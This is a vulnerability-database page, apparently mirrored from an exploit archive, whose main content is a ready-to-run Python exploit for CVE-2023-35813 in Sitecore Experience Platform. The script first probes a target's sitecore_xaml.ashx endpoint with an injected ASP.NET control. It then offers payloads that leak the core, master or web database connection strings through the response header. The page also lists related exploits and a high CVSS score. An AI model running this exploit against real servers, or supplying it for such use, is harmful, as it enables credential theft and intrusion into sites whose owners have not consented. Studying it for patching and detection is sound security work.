Lucene search
K

Sitecore - Remote Code Execution v8.2 Exploit

🗓️ 11 Mar 2024 00:00:00Reported by abhishek morlaType 
zdt
 zdt
🔗 0day.today👁 379 Views

Sitecore Remote Code Execution v8.2 Exploit impacting all Experience Platform topologies, tested on windows64bit with Mozilla Firefo

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Sitecore Experience_Commerce
30 Nov 202515:58
githubexploit
GithubExploit
Exploit for Code Injection in Sitecore Experience_Commerce
31 Dec 202305:23
githubexploit
GithubExploit
Exploit for Code Injection in Sitecore Experience_Commerce
15 Jan 202414:14
githubexploit
GithubExploit
Exploit for Code Injection in Sitecore Experience_Commerce
31 Dec 202305:23
githubexploit
ATTACKERKB
CVE-2023-35813
17 Jun 202323:15
attackerkb
Circl
CVE-2023-35813
26 Sep 202315:23
circl
CNNVD
Sitecore 安全漏洞
17 Jun 202300:00
cnnvd
CVE
CVE-2023-35813
17 Jun 202300:00
cve
Cvelist
CVE-2023-35813
17 Jun 202300:00
cvelist
Exploit DB
Sitecore - Remote Code Execution v8.2
11 Mar 202400:00
exploitdb
Rows per page
#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2 
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox 
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
    # Initial payload to test vulnerability
    test_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='TestVulnerability'
    />
    '''
    encoded_payload = quote(test_payload)

    url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

    response = requests.post(url, headers=headers, data=data, verify=False)

    # Check for the test string in the Content-Type of the response
    return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
    # Payload templates for different options
    payloads = {
        '1': "<%$ ConnectionStrings:core %>",
        '2': "<%$ ConnectionStrings:master %>",
        '3': "<%$ ConnectionStrings:web %>"
    }

    base_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='{}'
    />
    '''

    return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
    if initial_test(hostname):
        print("Exploiting, Please wait...")
        console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
        print("Select the payload to use:")
        print("1: Core connection strings")
        print("2: Master connection strings")
        print("3: Web connection strings")
        payload_choice = input("Enter your choice (1, 2, or 3): ")

        payload = get_payload(payload_choice)
        encoded_payload = quote(payload)

        url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

        response = requests.post(url, headers=headers, data=data)

        if 'Content-Type' in response.headers:
            print("Content-Type from the response header:")
            print("\n")
            print(response.headers['Content-Type'])
        else:
            print("No Content-Type in the response header. Status Code:", response.status_code)
    else:
        print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
    console.print("[bold green]Author: Abhishek Morla[/bold green]")
    console.print("[bold red]CVE-2023-35813[/bold red]")
    parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
    parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
    args = parser.parse_args()

    main(args.hostname)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Mar 2024 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.86685
SSVC
379